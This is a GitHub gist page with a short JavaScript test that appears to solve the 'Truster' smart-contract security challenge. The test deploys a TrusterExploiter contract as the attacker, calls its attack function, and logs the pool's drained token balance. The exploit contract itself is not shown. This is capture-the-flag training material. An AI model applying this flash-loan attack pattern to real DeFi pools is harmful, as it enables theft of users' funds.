This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
it('Exploit', async function () { | |
/** CODE YOUR EXPLOIT HERE */ | |
const TrusterExploiter = await ethers.getContractFactory("TrusterExploiter", attacker); | |
this.exploit = await TrusterExploiter.deploy(this.pool.address, this.token.address); | |
await this.exploit.connect(attacker).attack(); | |
console.log("Updated pool balance is: ", await this.token.balanceOf(this.pool.address)); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment